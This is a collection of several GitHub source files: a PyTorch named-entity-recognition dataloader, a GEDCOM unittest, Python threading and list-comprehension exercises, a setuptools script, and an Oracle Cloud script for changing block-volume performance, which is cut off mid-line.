as f:\n                _inputs, _ys = pickle.load(f)\n            inputs.append(_inputs)\n            ys.append(_ys)\n            continue\n        with open(_datapath, \"r\", encoding=\"utf-8\") as fr:\n            token_list, y_list = [], []\n            for i, line in enumerate(fr):\n                line = line.strip() \n                if line == \"\":\n                    if len(token_list) > 0:\n                        assert len(token_list) == len(y_list)\n                        _inputs.append([auto_tokenizer.cls_token_id] + token_list + [auto_tokenizer.sep_token_id])\n                        _ys.append([pad_token_label_id] + y_list + [pad_token_label_id])\n\n                    token_list, y_list = [], []\n                    continue\n                splits = line.split()\n                token = splits[0]\n                label = splits[1]\n\n                subs_ = auto_tokenizer.tokenize(token)\n                if len(subs_) > 0:\n                    y_list.extend([label_list.index(label)] + [pad_token_label_id] * (len(subs_) - 1))\n                    token_list.extend(auto_tokenizer.convert_tokens_to_ids(subs_))\n                else:\n                    print(\"length of subwords for %s is zero; its label is %s\" % (token, label))\n        inputs.append(_inputs)\n        ys.append(_ys)\n        with open(data_ckpt, \"wb\") as f:\n            pickle.dump((_inputs, _ys), f)\n\n    # combine data from different domains (only for training data)\n    sample_cnt_lst = [len(_ys) for _ys in ys]\n    max_cnt = max(sample_cnt_lst)\n    inputs_all, ys_all = [], []\n    for _inputs, _ys in zip(inputs, ys):\n        ratio = int(max_cnt/len(_ys))\n        inputs_all.extend(_inputs*ratio) \n        ys_all.extend(_ys*ratio)\n\n    return inputs_all, ys_all\n\nclass Dataset(torch.utils.data.Dataset):\n    def __init__(self, inputs, ys):\n        self.X = inputs\n        self.y = ys\n    \n    def __getitem__(self, index):\n        return self.X[index], self.y[index]\n\n    def __len__(self):\n        return len(self.X)\n\ndef collate_fn(data):\n    X, y = zip(*data)\n    lengths = [len(bs_x) for bs_x in X]\n    max_lengths = max(lengths)\n    padded_seqs = torch.LongTensor(len(X), max_lengths).fill_(auto_tokenizer.pad_token_id)\n    padded_y = torch.LongTensor(len(X), max_lengths).fill_(pad_token_label_id)\n    for i, (seq, y_) in enumerate(zip(X, y)):\n        length = lengths[i]\n        padded_seqs[i, :length] = torch.LongTensor(seq)\n        padded_y[i, :length] = torch.LongTensor(y_)\n\n    if max_lengths>max_seq_length:\n        padded_seqs, padded_y = padded_seqs[:,:max_seq_length], padded_y[:,:max_seq_length],\n\n    return padded_seqs, padded_y\n\ndef entity_sampler(inputs_train, y_train, label_list, unbalanced=False, n_samples=10):\n\n    if n_samples==-1 and not unbalanced:\n        return inputs_train, y_train\n\n    n_samples_list = []\n    # Sorted by the frequency\n    label_count_train = get_label_distribution(y_train, label_list, count=True)\n    entity_label_list = sorted(label_count_train, key=lambda x:label_count_train[x])\n    max_entity_count = label_count_train[entity_label_list[-1]]\n    min_entity_count = label_count_train[entity_label_list[0]]\n    imbalance_ratio = min_entity_count/max_entity_count\n    entity_count_list = [0]*len(entity_label_list)\n    n_labels = len(entity_label_list)\n    select_index = []\n\n    # Generate sample number list\n    if unbalanced:\n        # Satisfy the tail classes first\n        n_samples_list = [int(max_entity_count*(imbalance_ratio**((i-1)/(n_labels-1))))\\\n                        for i in range(n_labels,0,-1)]\n        # Satisfy the head classes first\n        # entity_label_list = list(reversed(entity_label_list))\n        # n_samples_list = [int(max_entity_count*(imbalance_ratio**(i/(n_labels-1))))\\\n        #                 for i in range(n_labels)]\n    else:\n        n_samples_list = [n_samples]*len(label_list)\n    logger.info(\"Sample number list: %s\" % n_samples_list)\n\n    # Each entity \n    for i, entity in enumerate(entity_label_list):\n        if len(select_index) >= len(inputs_train):\n            logger.info(\"Break because not enough training samples!!!\")\n            break\n        is_brk = False\n        sample_index = 0\n        # Loop until entity count is satisfied \n        while entity_count_list[i]<n_samples_list[i]: \n            sample_index += 1\n            if sample_index>=len(inputs_train):\n                is_brk = True\n            # Sample until not in selected list\n            while sample_index in select_index:\n                sample_index += 1\n                if sample_index>=len(inputs_train):\n                    is_brk = True\n            # Can not find more entity\n            if is_brk:\n                logger.info(\"Break because not enough %s entity samples!!!\"%(entity))\n                break\n            # Select the sentence\n            label_seq = y_train[sample_index]\n            # Check if the entity in the sentence\n            if label_list.index('B-'+entity) in label_seq:\n                select_index.append(sample_index)\n                # Update all counts and select this samples\n                for j, _entity in enumerate(entity_label_list):\n                    for _label in label_seq:\n                        if label_list.index('B-'+_entity) == _label:\n                            entity_count_list[j] += 1\n    # Print the number for each entity\n    label_count_dict = dict()\n    for i, entity in enumerate(entity_label_list): \n        label_count_dict[entity] = entity_count_list[i]\n    logger.info(label_count_dict)\n\n    # Select the training samples by indexes\n    inputs_train, y_train = np.array(inputs_train), np.array(y_train)\n    inputs_train, y_train = inputs_train[select_index], y_train[select_index]\n    inputs_train, y_train = list(inputs_train), list(y_train)\n\n    return inputs_train, y_train\n\ndef get_label_distribution(y_lists,label_list, count=False):\n    label_distribution = dict()\n    count_tok_test = 0\n    for y_list in y_lists:\n        for y in y_list:\n            if y != pad_token_label_id:\n                label_name = label_list[y]\n                if \"B-\" in label_name or \"S-\" in label_name:\n                    count_tok_test += 1\n                    label_name = label_name.split(\"-\")[1]\n                    if label_name not in label_distribution:\n                        label_distribution[label_name] = 1\n                    else:\n                        label_distribution[label_name] += 1\n    if count:\n        return label_distribution\n    else:\n        for key in label_distribution:\n            freq = label_distribution[key] / count_tok_test\n            label_distribution[key] = round(freq, 2)\n        return label_distribution\n\nclass NER_dataloader():\n    def __init__(self, data_path, domain_name, batch_size, entity_list=[], n_samples=-1, is_filter_O=False, schema='BIO', is_load_disjoin_train=False):\n\n        self.batch_size = batch_size\n        self.is_filter_O = is_filter_O\n        self.auto_tokenizer = auto_tokenizer\n        self.schema = schema\n        self.is_load_disjoin_train = is_load_disjoin_train\n\n        # Get entity list\n        if entity_list==\"\" or entity_list==[]:\n            logger.info('Loading the default entity list from domain %s...'%domain_name)\n            self.entity_list = domain2entity[domain_name]\n        else:\n            logger.info('Loading the pre-defined entity list...')\n            entity_list = eval(entity_list)\n            assert isinstance(entity_list,list), \"Wrong entity_list type!!!\"\n            self.entity_list = entity_list\n\n        # Get label list\n        self.label_list = get_default_label_list(self.entity_list, schema=self.schema)\n        self.O_index = self.label_list.index('O')\n        logger.info('label_list = %s'%str(self.label_list))\n\n        # Load data\n        logger.info(\"Load training set data\")\n        if self.is_load_disjoin_train:\n            if isinstance(data_path,list):\n                train_data_ckpt = os.path.join(data_path[0],'train_fg_%d_pg_%d.pth'%(params.nb_class_fg,params.nb_class_pg))\n                # train_data_ckpt = os.path.join(data_path[0],'train_fg_%d_pg_%d_random.pth'%(params.nb_class_fg,params.nb_class_pg))\n            else:\n                train_data_ckpt = os.path.join(data_path,'train_fg_%d_pg_%d.pth'%(params.nb_class_fg,params.nb_class_pg))\n                # train_data_ckpt = os.path.join(data_path,'train_fg_%d_pg_%d_random.pth'%(params.nb_class_fg,params.nb_class_pg))\n            logger.info('Loading data from %s...'%train_data_ckpt)\n            with open(train_data_ckpt, \"rb\") as f:\n                inputs_train_dict, y_train_dict = pickle.load(f)\n            self.inputs_train_dict, self.y_train_dict = inputs_train_dict, y_train_dict\n            logger.info(\"train size for each split: %s\" % \n                        ([k+':'+str(len(v)) for k,v in inputs_train_dict.items()]))\n        else:\n            inputs_train, y_train = read_ner(data_path, \n                                            phase=\"train\", \n                                            label_list=self.label_list)\n            logger.info(\"label count for train set\")\n            _label_count_train = get_label_distribution(y_train,self.label_list,count=True)\n            _label_count_train = sorted(_label_count_train.items(),key=lambda x:x[0])\n            logger.info(_label_count_train)\n            inputs_train, y_train = entity_sampler(inputs_train, y_train, self.label_list, unbalanced=False, n_samples=n_samples)\n            self.inputs_train, self.y_train = inputs_train, y_train\n            logger.info(\"train size: %d\" % (len(inputs_train)))\n            # logger.info(\"label distribution for train set\")\n            # logger.info(sorted(get_label_distribution(y_train,self.label_list,count=True).items(),key=lambda x:x[0]))\n\n        # Only evaluate on the target domain (default in the first item)\n        if isinstance(data_path, list):\n            target_data_path = data_path[0]\n        elif isinstance(data_path, str):\n            target_data_path = data_path\n        else:\n            raise Exception('Data_path should be either a list or string!!!')\n        logger.info(\"Load development set data\")\n        inputs_dev, y_dev = read_ner(target_data_path, \n                                    phase=\"dev\", \n                                    label_list=self.label_list)\n        logger.info(\"Load test set data\")\n        inputs_test, y_test = read_ner(target_data_path,\n                                    phase=\"test\",\n                                    label_list=self.label_list)\n        # Data statistic\n        logger.info(\"label distribution for dev set\")\n        logger.info(sorted(get_label_distribution(y_dev,self.label_list,count=True).items(),key=lambda x:x[0]))\n        logger.info(\"label distribution for test set\")\n        logger.info(sorted(get_label_distribution(y_test,self.label_list,count=True).items(),key=lambda x:x[0]))\n        logger.info(\"dev size %d; test size: %d;\" % (len(inputs_dev), len(inputs_test)))\n\n        self.inputs_dev, self.y_dev = inputs_dev, y_dev\n        self.inputs_test, self.y_test = inputs_test, y_test        \n\n    def set_unseen_labels_to_O(self, y_train, seen_label_list):\n        for i, y_lst in enumerate(y_train):\n            for j, y in enumerate(y_lst):\n                if y in [pad_token_label_id, self.label_list.index('O')]:\n                    continue\n                if not y in seen_label_list:\n                    y_train[i][j] = self.label_list.index('O')\n        return y_train\n\n    def get_dataloader(self, first_N_classes=-1, select_entity_list=[], phase=['train','dev','test'], is_filter_O=None, filter_entity_list=[], is_ground_truth_train=False, reserved_ratio=0.0):\n\n        if is_filter_O==None:\n            is_filter_O = self.is_filter_O\n        return_result = []\n\n        if 'train' in phase:\n            if self.is_load_disjoin_train:\n                inputs_train_dict, y_train_dict = deepcopy(self.inputs_train_dict), deepcopy(self.y_train_dict)\n            else:\n                inputs_train, y_train = deepcopy(self.inputs_train), deepcopy(self.y_train)\n        if 'dev' in phase:\n            inputs_dev, y_dev = deepcopy(self.inputs_dev), deepcopy(self.y_dev)\n        if 'test' in phase:\n            inputs_test, y_test = deepcopy(self.inputs_test), deepcopy(self.y_test)\n\n        if first_N_classes!=-1 or select_entity_list!=[]:\n            # Get choosen label index corresponding to the original label list\n            select_label_list = []\n            select_label_list.append('O')\n            if first_N_classes!=-1:\n                assert  first_N_classes>0 and first_N_classes<=len(self.entity_list), \"Invalid value of first_N_classes!!!\"\n                # logger.info(\"Select first %d classes: %s\"%(first_N_classes,str(self.entity_list[:first_N_classes])))    \n                for e in self.entity_list[:first_N_classes]:\n                    if self.schema == 'IO':\n                        select_label_list.append('I-'+str(e))  \n                    elif self.schema == 'BIO':\n                        select_label_list.append('B-'+str(e))\n                        select_label_list.append('I-'+str(e)) \n                    elif self.schema == 'BIOES':\n                        select_label_list.append('B-'+str(e))\n                        select_label_list.append('I-'+str(e)) \n                        select_label_list.append('E-'+str(e)) \n                        select_label_list.append('S-'+str(e)) \n            elif select_entity_list!=[]:\n                # logger.info(\"Select classes in %s !\"%str(select_entity_list))\n                for e in select_entity_list:\n                    if self.schema == 'IO':\n                        select_label_list.append('I-'+str(e))  \n                    elif self.schema == 'BIO':\n                        select_label_list.append('B-'+str(e))\n                        select_label_list.append('I-'+str(e)) \n                    elif self.schema == 'BIOES':\n                        select_label_list.append('B-'+str(e))\n                        select_label_list.append('I-'+str(e)) \n                        select_label_list.append('E-'+str(e)) \n                        select_label_list.append('S-'+str(e)) \n            select_label_index = [self.label_list.index(l) for l in select_label_list]\n            # Map the label to the seen class index\n            if self.is_load_disjoin_train and 'train' in phase:\n                select_label_index_wo_O = list(set(select_label_index)-set([0]))\n                assert set(select_label_index_wo_O)==set(list(range(np.min(select_label_index_wo_O), np.max(select_label_index_wo_O)+1)))\n                entity_index_min = (np.min(select_label_index_wo_O)-1)//(len(self.schema)-1)\n                entity_index_max = np.max(select_label_index_wo_O)//(len(self.schema)-1)-1\n\n                # concatnate all splits containing all the select entities\n                inputs_train, y_train = [], []\n                split_name_list = list(inputs_train_dict.keys())\n                assert list(inputs_train_dict.keys())==list(y_train_dict.keys())\n\n                # add reserved samples\n                if reserved_ratio>0:\n                    entity_idx_bg, entity_idx_ed = 0, -1\n                    while entity_idx_ed!=entity_index_min-1:\n                        is_find = False\n                        for split_name in split_name_list:\n                            if str(entity_idx_bg)+'_' in split_name:\n                                entity_idx_ed = eval(split_name.split('_')[1])\n                                is_find = True\n                                break\n                        assert is_find\n                        tmp_split_name = '%d_%d'%(entity_idx_bg, entity_idx_ed)\n                        reserved_number = int(len(inputs_train_dict[tmp_split_name])*reserved_ratio)\n                        inputs_train.extend(inputs_train_dict[tmp_split_name][:reserved_number])\n                        tmp_y_train = y_train_dict[tmp_split_name][:reserved_number]\n                        # map to seen labels in the current step\n                        tmp_select_label_list = list(range(1, 1+(entity_idx_ed+1)*(len(params.schema)-1)))\n                        tmp_y_train = self.set_unseen_labels_to_O(tmp_y_train, tmp_select_label_list)\n\n                        y_train.extend(tmp_y_train)\n                        entity_idx_bg = entity_idx_ed+1\n\n                # no reserved sample\n                entity_idx_bg, entity_idx_ed = entity_index_min, -1\n                while entity_idx_ed!=entity_index_max:\n                    is_find = False\n                    for split_name in split_name_list:\n                        if str(entity_idx_bg)+'_' in split_name:\n                            entity_idx_ed = eval(split_name.split('_')[1])\n                            is_find = True\n                            break\n                    assert is_find\n                    tmp_split_name = '%d_%d'%(entity_idx_bg, entity_idx_ed)\n                    inputs_train.extend(inputs_train_dict[tmp_split_name])\n                    tmp_y_train = y_train_dict[tmp_split_name]\n\n                    # change the annotation\n                    if params.extra_annotate_type=='none':\n                        tmp_select_label_list = list(range(1+entity_idx_bg*(len(params.schema)-1), 1+(entity_idx_ed+1)*(len(params.schema)-1)))\n                        tmp_y_train = self.set_unseen_labels_to_O(tmp_y_train, tmp_select_label_list)\n                    elif params.extra_annotate_type=='current':\n                        tmp_select_label_list = list(range(1+entity_index_min*(len(params.schema)-1), 1+(entity_idx_ed+1)*(len(params.schema)-1)))\n                        tmp_y_train = self.set_unseen_labels_to_O(tmp_y_train, tmp_select_label_list)\n                    elif params.extra_annotate_type=='all':\n                        tmp_select_label_list = list(range(1+entity_index_min*(len(params.schema)-1), 1+(entity_index_max+1)*(len(params.schema)-1)))\n                        tmp_y_train = self.set_unseen_labels_to_O(tmp_y_train, tmp_select_label_list)\n                    else:\n                        raise Exception('Invalid extra_annotate_type type %s!!!'%(params.extra_annotate_type))\n                    y_train.extend(tmp_y_train)\n                    entity_idx_bg = entity_idx_ed+1\n\n            if not is_ground_truth_train and 'train' in phase:\n                for i, y_lst in enumerate(y_train):\n                    for j, y in enumerate(y_lst):\n                        if y in [pad_token_label_id, self.label_list.index('O')]:\n                            continue\n                        if not y in select_label_index:\n                            y_train[i][j] = self.label_list.index('O')\n            if 'dev' in phase:\n                for i, y_lst in enumerate(y_dev):\n                    for j, y in enumerate(y_lst):\n                        if y in [pad_token_label_id, self.label_list.index('O')]:\n                            continue\n                        if not y in select_label_index:\n                            y_dev[i][j] = self.label_list.index('O')\n            if 'test' in phase:\n                for i, y_lst in enumerate(y_test):\n                    for j, y in enumerate(y_lst):\n                        if y in [pad_token_label_id, self.label_list.index('O')]:\n                            continue\n                        if not y in select_label_index:\n                            y_test[i][j] = self.label_list.index('O')\n        else:\n            logger.info(\"Select all classes for training !\")\n\n        # Filter out all sentences contains ONLY O labels\n        filter_label_list = []\n        for filter_entity in filter_entity_list:\n            if 'B-'+filter_entity in self.label_list:\n                filter_label_list.append(self.label_list.index('B-'+filter_entity))\n            if 'I-'+filter_entity in self.label_list:\n                filter_label_list.append(self.label_list.index('I-'+filter_entity))\n            if 'E-'+filter_entity in self.label_list:\n                filter_label_list.append(self.label_list.index('E-'+filter_entity))\n            if 'S-'+filter_entity in self.label_list:\n                filter_label_list.append(self.label_list.index('S-'+filter_entity))\n\n        if is_filter_O:\n            logger.info('Filter out all sentences contains ONLY O labels...')\n            if 'train' in phase:\n                filter_O_inputs_train, filter_O_y_train = [], []\n                for x_lst, y_lst in zip(inputs_train, y_train):\n                    is_append=False\n                    for y_label in y_lst:\n                        if not (y_label in [-100, 0]+filter_label_list):\n                            is_append=True\n                            break\n                    if is_append:\n                        filter_O_inputs_train.append(x_lst)\n                        filter_O_y_train.append(y_lst)\n                retain_ratio_train = int(len(filter_O_y_train)/len(y_train)*100)\n                logger.info('retain_ratio_train=%d%%'%(retain_ratio_train))\n                inputs_train, y_train = filter_O_inputs_train, filter_O_y_train\n            if 'dev' in phase:\n                filter_O_inputs_dev, filter_O_y_dev = [], []\n                for x_lst, y_lst in zip(inputs_dev, y_dev):\n                    is_append=False\n                    for y_label in y_lst:\n                        if not (y_label in [-100, 0]+filter_label_list):\n                            is_append=True\n                            break\n                    if is_append:\n                        filter_O_inputs_dev.append(x_lst)\n                        filter_O_y_dev.append(y_lst)\n                retain_ratio_dev = int(len(filter_O_y_dev)/len(y_dev)*100)\n                logger.info('retain_ratio_dev=%d%%'%(retain_ratio_dev))\n                inputs_dev, y_dev = filter_O_inputs_dev, filter_O_y_dev\n            if 'test' in phase:\n                filter_O_inputs_test, filter_O_y_test = [], []\n                for x_lst, y_lst in zip(inputs_test, y_test):\n                    is_append=False\n                    for y_label in y_lst:\n                        if not (y_label in [-100, 0]+filter_label_list):\n                            is_append=True\n                            break\n                    if is_append:\n                        filter_O_inputs_test.append(x_lst)\n                        filter_O_y_test.append(y_lst)\n                retain_ratio_test = int(len(filter_O_y_test)/len(y_test)*100)\n                logger.info('retain_ratio_test=%d%%'%(retain_ratio_test))\n                inputs_test, y_test = filter_O_inputs_test, filter_O_y_test\n\n        if 'train' in phase:\n            dataset_train = Dataset(inputs_train, y_train)\n            dataloader_train = DataLoader(dataset=dataset_train, \n                                        batch_size=self.batch_size, \n                                        shuffle=False, # Don't shuffle, or the DCE went wrong\n                                        collate_fn=collate_fn)\n            return_result.append(dataloader_train)\n        if 'dev' in phase:\n            dataset_dev = Dataset(inputs_dev, y_dev)\n            dataloader_dev = DataLoader(dataset=dataset_dev, \n                                        batch_size=self.batch_size, \n                                        shuffle=False, \n                                        collate_fn=collate_fn)\n            return_result.append(dataloader_dev)\n        if 'test' in phase:\n            dataset_test = Dataset(inputs_test, y_test)\n            dataloader_test = DataLoader(dataset=dataset_test, \n                                            batch_size=self.batch_size, \n                                            shuffle=False, \n                                            collate_fn=collate_fn)\n            return_result.append(dataloader_test)\n        \n        return tuple(return_result)\n\nif __name__ == \"__main__\":\n    pass\n    # spilt_dataset_random(['datasets/NER_data/conll2003'], 'train', domain2entity['conll2003'], 1, 1, 'BIO')\n    # print_split_data_statistic(['datasets/NER_data/conll2003'], 'train', domain2entity['conll2003'], 1, 1, 'BIO')\n    # get_entity_list('datasets/NER_data/i2b2/train.txt')\n    # convert_BIOES_to_BIO('datasets/NER_data/ontonotes5/train.txt','datasets/NER_data/ontonotes5/train_.txt')\n    # convert_BIOES_to_BIO('datasets/NER_data/ontonotes5/test.txt','datasets/NER_data/ontonotes5/test_.txt')\n    # convert_BIOES_to_BIO('datasets/NER_data/ontonotes5/dev.txt','datasets/NER_data/ontonotes5/dev_.txt')","repo_name":"zzz47zzz/CFNER","sub_path":"src/dataloader.py","file_name":"dataloader.py","file_ext":"py","file_size_in_byte":35046,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"3"}
+{"seq_id":"27239726213","text":"import unittest\nfrom US05 import marrBeforeDeath\n\nclass TestMyFunctions(unittest.TestCase):\n\n    def test_marr_before_death(self):\n        wr = open('testOutput.txt','w')\n        IndList = [['I1', 'NAME Maha Idrisi', 'SEX M', 'BIRT Date 1992-04-08' ,'DeatDate: Alive', 'FAMC F1'],['I2', 'NAME Saloni Setia', 'SEX F', 'BIRT Date 1800-04-08', 'DeatDate: 1984-01-01', 'FAMC F1']]\n        FamList = [['F1', 'HUSB I1', 'WIFE I2', 'CHIL I1', 'CHIL I9', 'CHIL I10', 'MARR Date 1985-01-01', 'DIV Date 1990-04-04']]\n        self.assertTrue(marrBeforeDeath(IndList, FamList, wr))\n\nif __name__ == \"__main__\":\n    unittest.main(exit=False)    \n","repo_name":"Malidrisi/SSW-555-GEDCOM","sub_path":"Test-US-05.py","file_name":"Test-US-05.py","file_ext":"py","file_size_in_byte":632,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"36481460622","text":"from threading import *\nimport time\ndef t1():\n    print('executed by t1')\n    job2=Thread(target=t2)\n    print('is job2 daemon ',job2.isDaemon())\n    job2.start()\n\ndef t2():\n    print('executed by t2')\n\njob1 = Thread(target=t1)\njob1.setDaemon(True)\nprint('is job1 daemon ',job1.isDaemon())\njob1.start()\ntime.sleep(10)\n","repo_name":"Shubhamprakash007/pythonDeveloper","sub_path":"Multithreading/thr13.py","file_name":"thr13.py","file_ext":"py","file_size_in_byte":318,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"34286587401","text":"# List comprehension: allows us to create a new list based on existing values of another list\n\n# numbers = [1, -5, 0, 10, 100, 67, 55, 20, 34]\n\nnames = [ 'Adam', 'Kevin', 'Stephen', 'Daniel', 'Joe', 'Maria', 'Adele' ]\n\nfiltered_name = []\n\n#we want to get the name with 4 letters\nfiltered_name = [name for name in names if len(name) == 4]\n\n# filtered_name = [name for name in names if name.startswith('A')]\n        \nprint(filtered_name)        \n\n# for name in names: \n#     if name.startswith('A'):\n#         filtered_name.append(name)\n\n# new_list = [num for num in numbers if num % 2 == 0]\n\n# for num in numbers: \n#     if num % 2 == 0:\n#         new_list.append(num)\n        \n# print(new_list)        ","repo_name":"AaronMurillo01/python-advance-learning","sub_path":"data structure/pythonbasics/ListComprehension.py","file_name":"ListComprehension.py","file_ext":"py","file_size_in_byte":702,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"17430229643","text":"#! /usr/bin/python\n# -*- coding: utf-8 -*-\n\nfrom setuptools import setup, find_packages\n\nimport os\nimport sys\nimport glob\nimport re\n\n# read version.py file to get version and metadata information\nhere = os.path.abspath(os.path.dirname(__file__))\nversion_py = os.path.join(here, \"src/t80sched/core/version.py\")\nexecfile(version_py)\n\n# chimera scripts\nt80sched_scripts = ['src/scripts/chimera-t80sched',\n\t\t\t\t\t'src/scripts/chimera-setupdb',\n\t\t\t\t\t'src/scripts/chimera-qexec',\n                    'src/scripts/chimera-schedgui']\n\n# platform specific requirements\nplatform_deps = []\n\n# go!\nsetup(\n    name='t80sched-python',\n    version=_t80sched_version_,\n    description=_t80sched_description_,\n    long_description=open(\"docs/site/index.rst\").read(),\n    url=_t80sched_url_,\n\n    author=_t80sched_author_,\n    author_email=_t80sched_author_email_,\n\n    license=_t80sched_license_,\n\n    package_dir={\"\": \"src\"},\n    package_data={'': ['*.ui']},\n    packages=find_packages(\"src\", exclude=[\"*.tests\"]),\n\n    include_package_data=True,\n\n    scripts=t80sched_scripts,\n\n    tests_require=[\"astropy\",\"chimera\"],\n)\n","repo_name":"tribeiro/chimera-t80sched","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1104,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"40973053149","text":"import os.path\nimport sys\nfrom tabulate import tabulate\nfrom time import sleep\n\n# required DKC modules\nfrom lib.general import copywrite\nfrom lib.general import error_trap_resource_found\nfrom lib.general import error_trap_resource_not_found\nfrom lib.general import get_availability_domains\nfrom lib.general import get_regions\nfrom lib.general import is_int\nfrom lib.general import return_availability_domain\nfrom lib.general import warning_beep\nfrom lib.compartments import GetParentCompartments\nfrom lib.compartments import GetChildCompartments\nfrom lib.compute import GetInstance\nfrom lib.volumes import GetVolumes\nfrom lib.volumes import update_volume_performance\n\n# required OCI modules\nfrom oci.config import from_file\nfrom oci.identity import IdentityClient\nfrom oci.core import BlockstorageClient\nfrom oci.core import BlockstorageClientCompositeOperations\nfrom oci.core import ComputeClient\n\n# required OCI decorators\nfrom oci.core.models import UpdateVolumeDetails\n\ncopywrite()\nsleep(2)\nif len(sys.argv) < 7 or len(sys.argv) > 8:\n    print(\n        \"\\n\\nOci-UpdateVolumeSpeed.py : Usage\\n\\n\" +\n        \"Oci-UpdateVolumeSpeed.py [parent compartment] [child compartment] [instance] [volume name] [speed rating LOW/BALANCED/HIGH] [region] [optional argument]\\n\" +\n        \"Use case example sets the volume speed rate to high performance:\\n\" +\n        \"\\tOci-UpdateVolumeSpeed.py admin_comp dbs_comp kentrmanp01 kentrmanp01_datavol_0 HIGH 'us-ashburn-1'\\n\\n\" +\n        \"Please see the online documentation at the David Kent Consulting GitHub repository for more information.\\n\\n\"\n    )\n    raise RuntimeWarning(\"WARNING! - Usage Error\")\n\n\nparent_compartment_name         = sys.argv[1]\nchild_compartment_name          = sys.argv[2]\nvirtual_machine_name            = sys.argv[3]\nvolume_name                     = sys.argv[4]\nvolume_speed                    = sys.argv[5].upper()\nif volume_speed not in [\"LOW\", \"BALANCED\", \"HIGH\"]:\n    raise RuntimeWarning(\"INVALID CHOICE! - Valid choices for volume speed are LOW, BALANCED, or HIGH.\")\nregion                          = sys.argv[6]\nif len(sys.argv) == 8:\n    option = sys.argv[7].upper()\nelse:\n    option = None # required for logic to work\n\n# instiate the environment and validate that the specified region exists\nconfig = from_file() # gets ~./.oci/config and reads to the object\nidentity_client = IdentityClient(config)\nregions = get_regions(identity_client)\ncorrect_region = False\nfor rg in regions:\n    if rg.name == region:\n        correct_region = True\nif not correct_region:\n    print(\"\\n\\nWARNING! - Region {} does not exist in OCI. Please try again with a correct region.\\n\\n\".format(\n        region\n    ))\n    raise RuntimeWarning(\"WARNING! INVALID REGION\")\n\nconfig[\"region\"]                    = region # Must set the cloud region\nidentity_client                     = IdentityClient(config) # builds the identity client method, required to manage compartments\nstorage_client                      = BlockstorageClient(config)\nstorage_composite_client            = BlockstorageClientCompositeOperations(storage_client)\ncompute_client                      = ComputeClient(config)\n\nprint(\"\\n\\nFetching tenant resource data, please wait......\\n\")\n# get the parent compartment data\nparent_compartments                 = GetParentCompartments(parent_compartment_name, config, identity_client)\nparent_compartments.populate_compartments()\nparent_compartment                  = parent_compartments.return_parent_compartment()\nerror_trap_resource_not_found(\n    parent_compartment,\n    \"Parent compartment \" + parent_compartment_name + \" not found within tenancy \" + config[\"tenancy\"]\n)\n\n# get the child compartment data\nchild_compartments = GetChildCompartments(\n    parent_compartment.id,\n    child_compartment_name,\n    identity_client)\nchild_compartments.populate_compartments()\nchild_compartment = child_compartments.return_child_compartment()\nerror_trap_resource_not_found(\n    child_compartment,\n    \"Child compartment \" + child_compartment_name + \" within parent compartment \" + parent_compartment_name\n)\n\n# get VM instance data\nvm_instances = GetInstance(\n    compute_client,\n    child_compartment.id,\n    virtual_machine_name\n)\nvm_instances.populate_instances()\nvm_instance = vm_instances.return_instance()\nerror_trap_resource_not_found(\n    vm_instance,\n    \"VM instance \" + virtual_machine_name + \" not found within compartment \" + child_compartment_name + \" within region \" + region\n)\n# make sure the VM instance is not running. This is not fool proof, but we try to limit the weakness in the API.\n# The API will allow for changing a volume performane rate while the instance is running, which we do not like.\n# We'll have to revisit this in a later code version to account for all conditions.\nif vm_instance.lifecycle_state != \"STOPPED\":\n    raise RuntimeWarning(\"WARNING! VM instance must be in a STOPPED state for changing the volume's speed.\")\n# get the availability domains\navailability_domains = get_availability_domains(\n    identity_client,\n    child_compartment.id\n)\n\n# check to see if the volume does not exists and if so, raise exception\nvolumes = GetVolumes(\n    storage_client,\n    availability_domains,\n    child_compartment.id\n)\nvolumes.populate_block_volumes()\nvolume = volumes.return_block_volume_by_name(volume_name)\nerror_trap_resource_not_found(\n    volume,\n    \"Volume \" + volume_name + \" already present in compartment \" + child_compartment_name + \" within region \" + region\n)\n\n# run through the logic\n\nif len(sys.argv) == 7:\n    warning_beep(6)\n    print(\"Enter YES to proceed with speed change to {} for volume {} or any other key to abort.\\n\".format(\n        volume_speed,\n        volume_name\n    ))\n    if \"YES\" != input():\n        print(\"\\n\\nVolume speed change aborted per user request.\\n\\n\")\n        exit(0)\nelif len(sys.argv) == 8 and option != \"--FORCE\":\n    raise RuntimeWarning(\"INVALID OPTION! - The only valid option is --force\")\n\n# proceed to change the volume's performance rate\nprint(\"Changing the speed rate of volume {}. Please wait......\\n\".format(volume_name))\nvolume_update_request_result = update_volume_performance(\n    storage_composite_client,\n    UpdateVolumeDetails,\n    volume.id,\n    volume_speed\n).data\nif volume_update_request_result.lifecycle_state == \"AVAILABLE\":\n    print(\"Volume {} speed rate change completed successfully. Please examine the results below.\\n\".format(\n        volume_name\n    ))\n    sleep(5)\n    if volume.vpus_per_gb == 0:\n        previous_performance_setting = \"LOW\"\n    elif volume.vpus_per_gb == 10:\n        previous_performance_setting = \"BALANCED\"\n    elif volume.vpus_per_gb == 20:\n        previous_performance_setting = \"HIGH\"\n    if volume_update_request_result.vpus_per_gb == 0:\n        performance_setting = \"LOW\"\n    elif volume_update_request_result.vpus_per_gb == 10:\n        performance_setting = \"BALANCED\"\n    elif volume_update_request_result.vpus_per_gb == 20:\n        performance_setting = \"HIGH\"\n    header = [\n        \"COMPARTMENT\",\n        \"VM\",\n        \"AVAILABILITY_DOMAIN\",\n        \"VOLUME\",\n        \"PREVIOUS PERFORMANCE SETTING\",\n        \"UPDATED PERFORMANCE SETTING\",\n        \"LIFECYCLE STATE\",\n        \"REGION\"\n    ]\n    data_rows = [[\n        child_compartment_name,\n        virtual_machine_name,\n        volume_update_request_result.availability_domain,\n        volume_update_request_result.display_name,\n        previous_performance_setting,\n        performance_setting,\n        volume_update_request_result.lifecycle_state,\n        region\n\n    ]]\n    print(tabulate(data_rows, headers = header, tablefmt = \"simple\"))\n\nelse:\n    print(\"Oops, something went wrong. Please check the results below.\\n\")\n    sleep(5)\n    print(volume_update_request_result.data)\n    raise RuntimeError(\"EXCEPTION! UNKNOWN 